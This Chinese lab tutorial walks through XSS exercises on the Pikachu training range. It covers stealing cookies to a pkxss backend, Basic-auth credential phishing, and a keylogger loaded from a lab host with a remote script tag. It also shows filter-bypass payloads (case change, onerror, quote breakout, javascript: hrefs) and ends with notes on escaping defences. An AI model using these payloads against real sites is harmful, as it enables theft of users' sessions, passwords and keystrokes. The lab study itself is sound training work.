XSS案例

XSS持续更新

get方式获取cookie图解

在这里插入图片描述

pkxss管理后台使用介绍

  1. 在绝对路径D:\phpstudy_pro\WWW\pikachu-master\pkxss下找到pkxss管理后台。
    在这里插入图片描述
  2. 也可以点击,pikachu靶场的左侧漏洞栏最下面的管理工具下的xss后台,并进行初始化安装。在这里插入图片描述

在这里插入图片描述
初始化安装后,输入页面提示的用户名和密码,即可成功进入pkxss管理后台。在这里插入图片描述
在这里插入图片描述

get方式获取cookie方法

  1. 在目录D:\phpstudy_pro\WWW\pikachu-master\pkxss\xcookie下找到cookie.php的文件即为获取cookie的源码。
    在这里插入图片描述
  2. 分析源码,通过get方式获取cookie的参数,并记录请求的referer、useragent等信息查到数据库中,而在最下方有一个可信的重定向网站,目的是使攻击目标察觉不到电脑被攻击,而是电脑正常访问。
  3. 我们以反射型xss(get)为例演示。首先在开发者工具栏中将输入内容的maxlength改为20000,然后输入一个较为复杂的payload

在这里插入图片描述
其中pkxss后台:http://192.168.1.15/pkxss/pkxss_login.php
我们的目的是获取用户本地的cookie并且发送到xss管理后台。这里的可信的重定向网站为pkxss的管理后台,访问的同时将用户的cookie一起返回,从而形成一个完整的get请求。
4. 我们将上一步复杂的payload作为题目的输入内容,我们可以看到页面返回到pikachu的首页。我们将pkxss管理后台中获取cookie的页面刷新,即可获取到用户的cookie在这里插入图片描述
在这里插入图片描述
5. 实际场景中,我们可以将含有参数的url发送给攻击目标,欺骗攻击目标点击,一旦访问这个url,则会跳到其他页面,我们即可获得攻击目标又一条cookie的记录。

post方式获取cookie图解

在这里插入图片描述

post方式获取cookie方法

  1. 以反射型xss(post)为例,首先输入正确的用户名admin和密码123456进行登录。
  2. 分析源码,与get型思路基本相同,访问这个页面,这个页面会自动提交一个post请求, 带上本地的cookie去访问xss后台并返回这个cookie
  3. 模拟的恶意站点http://192.168.1.5/post.html,即攻击目标需要访问的恶意站点。

xss钓鱼攻击

实验思路

可以在一个含有xss漏洞的页面中嵌入一个javascript或者其他链接的请求,也可以通过basic认证来进行钓鱼攻击。本道题目演示的就是basic认证的方法。当用户打开嵌有恶意代码请求的页面的时候,页面向我们远端的后台发送一个请求,请求的返回结果是一个basic认证【在HTTP协议进行通信的过程中,HTTP协议定义了基本认证过程以允许HTTP服务器对WEB浏览器进行用户身份证的方法,当一个客户端向HTTP服务 器进行数据请求时,如果客户端未被认证,则HTTP服务器将通过基本认证过程对客户端的用户名及密码进行验证,以决定用户是否合法。客户端在接收到HTTP服务器的身份认证要求后,会提示用户输入用户名及密码,然后将用户名及密码以BASE64加密,加密后的密文将附加于请求信息中, 如当用户名为anjuta,密码为:123456时,客户端将用户名和密码用“”合并,并将合并后的字符串用BASE64加密为密文,并于每次请求数据 时,将密文附加于请求头(Request Header)中。HTTP服务器在每次收到请求包后,根据协议取得客户端附加的用户信息(BASE64加密的用户名和密码),解开请求包,对用户名及密码进行验证,如果用户名及密码正确,则根据客户端请求,返回客户端所需要的数据;否则,返回错误代码或重新要求客户端提供用户名及密码】的头部,则在用户的界面上会弹出一个需要证明身份认证的提示框。当我们进行身份验证输入账号和密码的时候,这个账号和密码会被发送到后台。在这里插入图片描述

实验方法

  1. 以存储型xss题目为例。我们只需要在留言板嵌入一个能访问我们后台并且返回basic认证页面的一段标签。在这里插入图片描述
    fish.php后端代码 如下在这里插入图片描述
  2. 我们将这段标签提交后,页面会弹出一个进行身份认证的弹窗在这里插入图片描述
  3. 由于刚刚提交的内容被保存到数据库中,所以每次刷新这个页面就会出现身份认证弹窗。而用户一旦输入账号和密码,后台就会获取到用户的账号和密码。

xss获取键盘记录

跨域

实验室会用到远程调js文件的问题,远程调js文件会涉及到跨域请求的问题,我们先了解一下什么是跨域。在这里插入图片描述

跨域-同源策略

为了安全考虑,所有的浏览器都约定了“同源策略”。同源策略规定,两个不同域名之间不能使用js进行相互操作。比如:x.com域名下的javascript并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。比如通过:header(“Access-Control-Origin:x.com")指定。
注意:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
在这里插入图片描述

为什么要有同源策略

A登录了淘宝,攻击者向A发送了一个恶意链接urlb

http://www.盗你cookie.com

如果没有同源策略,即urlb上的js可以操作A的内容(如:获取cookie等),有了同源策略,就限制了这种情况。
再比如,一个恶意站点A上使用了<iframe src="B站点登陆页面">,发送该恶意url到攻击对象,攻击对象如果没有同源策略,则A上的js即可获取B站点的登录信息。

实验方法

  1. 在目录D:\phpstudy_pro\WWW\pikachu-master\pkxss\rkeypress下这个js文件即为攻击代码,这段js代码被有xss漏洞的页面,即可对用户键盘输入进行获取,并且发送到攻击者后台。
  2. 以存储型xss题目为例。我们向留言板输入一个javascript的标签
<script src="http://192.168.1.5/pkxss/rkeypress/rk.js'></script>

这个标签可以将rk.js加载到本地来运行。
3. 将这段标签提交后,打开开发者工具的控制台,我们从键盘向留言板中输入,会有页面请求失败的提示,点击关闭后,在控制台会增加一条请求。在这里插入图片描述
4. 我们将D:\phpstudy_pro\WWW\pikachu-master\pkxss\rkeypress 目录下的rkserver.php设置为设置允许被跨域访问,然后从键盘输入信息,每输入一次则发起一次请求,查看pkxss后台即可看到键盘输入被记录下来。在这里插入图片描述

XSS之盲打

什么是xss盲打

在这里插入图片描述

方法

在这里插入图片描述

  1. 随便输入一些内容,我们发现我们输入的信息并未在前端输出,可能会在后端只有管理员可以看到,而前端用户看不到。在这里插入图片描述
  2. 我们尝试在大框内输入之前类似于反射型或者存储型题目时输入的javascript的代码,大名随便输入
<script>alert('XSS')</script>

我们发现没有出现弹窗,如果出现,则存在xss漏洞。
3. 这时我们可以点击页面提示,修改url中的相对路径,访问后台管理平台,则会跳转到管理员的页面。在这里插入图片描述
4. 再次点击页面提示,可以得到正确的用户名admin和密码123456,我们登录之后即可看到xss的弹窗。在这里插入图片描述
5. 管理页面执行了前端输入的内容,则前端输入的内容会在后端被执行,则管理员的页面被xss处理。因此,攻击者可以通过在前端输入一段盗取cookie的脚本,该脚本在管理员页面被执行,则可获取到后台管理员登录信息的cookie,攻击者可成功登录管理后台。
6. 这一系列的操作都是尝试,我们事先并不知道输入的内容会在管理员后台执行,都只是猜测,因此,实际情况我们需要实际处理,有时候可能不会知道管理员后台的地址。

xss之绕过

在我们实际过程中,有很多应用系统或多或少会进行安全措施,但有的措施由于一些问题可能会被绕过。

常用方法

在这里插入图片描述
拼凑法中的<script>标签会被去掉,并且只去掉一次,当我们把标签去掉后,前后又可以组合成一个新的<script>标签;
使用注释进行干扰的方法<!--test-->为注释标签,但后台并不清楚这这是标签,则不会对其进行处理。
在这里插入图片描述
注意:在使用编码是要注意编码在输出点是否会被正常识别和翻译。这需要我们对前端标签属性能够处理什么编码或者通过一些手段正常翻译我们的编码。
在这里插入图片描述
在这里插入图片描述
xss绕过方法有很多,没有绝对的方法可以绕过所有的场景,需要自己去努力尝试。

实验演示

在这里插入图片描述

  1. 我们尝试输入一段标签+字符的内容时,点击提交后可以查看一下页面提示。在这里插入图片描述

  2. 单击右键查看页面源码,Ctr+F定位到我们输入内容时对应的源码,我们发现script标签被过滤;在这里插入图片描述

  3. 我们这时可以尝试大小写绕过的方法,我们输入一段payload<SCRIpT>alert(111)</SCRIpT>,点击提交后即可得到一个111的弹窗。在这里插入图片描述

  4. 查看题目后端代码在这里插入图片描述

php中preg_replace()函数的作用为接收如图三个参数在这里插入图片描述
在该后台源码中preg_replace()是接受正则表达式这个参数的,主要用来区分大小写,源码只对小写的script标签进行了过滤,因此本题可采用大小写绕过的方法,也可以通过换一个标签的方式来实验室绕过,如<img src=x onerror="alert(1111)"/>,提交后也可看到出现了1111的弹窗。

xss之htmlspecialchars()函数

在这里插入图片描述

实验案例演示

在这里插入图片描述

  1. 我们尝试输入一段内容,点击提交发现它在前端被显示出来。在这里插入图片描述

  2. 点击右键查题目源码,定位到输入内容部分对应的源码,可以看到htmlspecialchars()函数把这段内容进行了编码,而单引号未作处理,因此是用默认的过滤方式进行了过滤。在这里插入图片描述

  3. 因此我们可以尝试输入一段payloadp' onclick='alert(1111)',p后面单引号的目的是为了形成闭合,不会做任何处理,点击提交后,我们可以看见出现了1111的弹窗。在这里插入图片描述

  4. 我们查看后台源码在这里插入图片描述

xss常见防范措施

总原则:输入作过滤,输出作转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面的进行js转义。

xss之href输出

在这里插入图片描述

1.查看题目后台源码,herf标签一般是写入超链接的,所以输入的时候只允许是http、htttps开头的协议,源码中注释把原理和防范措施解释的都很清楚。在这里插入图片描述
QUTES说明单引号、双引号以及各种特殊符号都会被处理。
2. 我们尝试在输入框中写入一个payloadjavascript:alert(111),点击提交后,点击右键查看网页源代码,Ctrl+F定位到我们输入点对应的源码。在这里插入图片描述
3. 我们点击提交后的页面显示的标签(阁下自己输入的url还请自己点一下吧),即可成功得到一个111的弹窗。在这里插入图片描述

xss之js输出

在这里插入图片描述

  1. 随便输入一些内容,点击提交后查看网页源代码,它是把输入点放入了js标签中。在这里插入图片描述
    在这里插入图片描述

  2. 根据网页源码提示,我们输入tmac,查看页面会出现什么样的内容。在这里插入图片描述

  3. javascript的payload,本质上就是构造闭合的payloadx'</script><script>alert('xss')</script>,点击提交后,即可得到一个xss的弹窗。

  4. 打开D:\phpstudy_pro\WWW\pikachu-master\vul\xss目录下的xss_04.php文件,打开后台源代码,这里讲输入动态的生成到了js中,形成xssjavascript里面是不会对tag【html标签】和字符实体进行解释的,所以需要进行js转义。在这里插入图片描述
    讲这个例子主要是为了明白,输出点在js中的xss问题,应该怎么修?这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。所以在js的输出点应该使用\对特殊字符进行转义。

在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐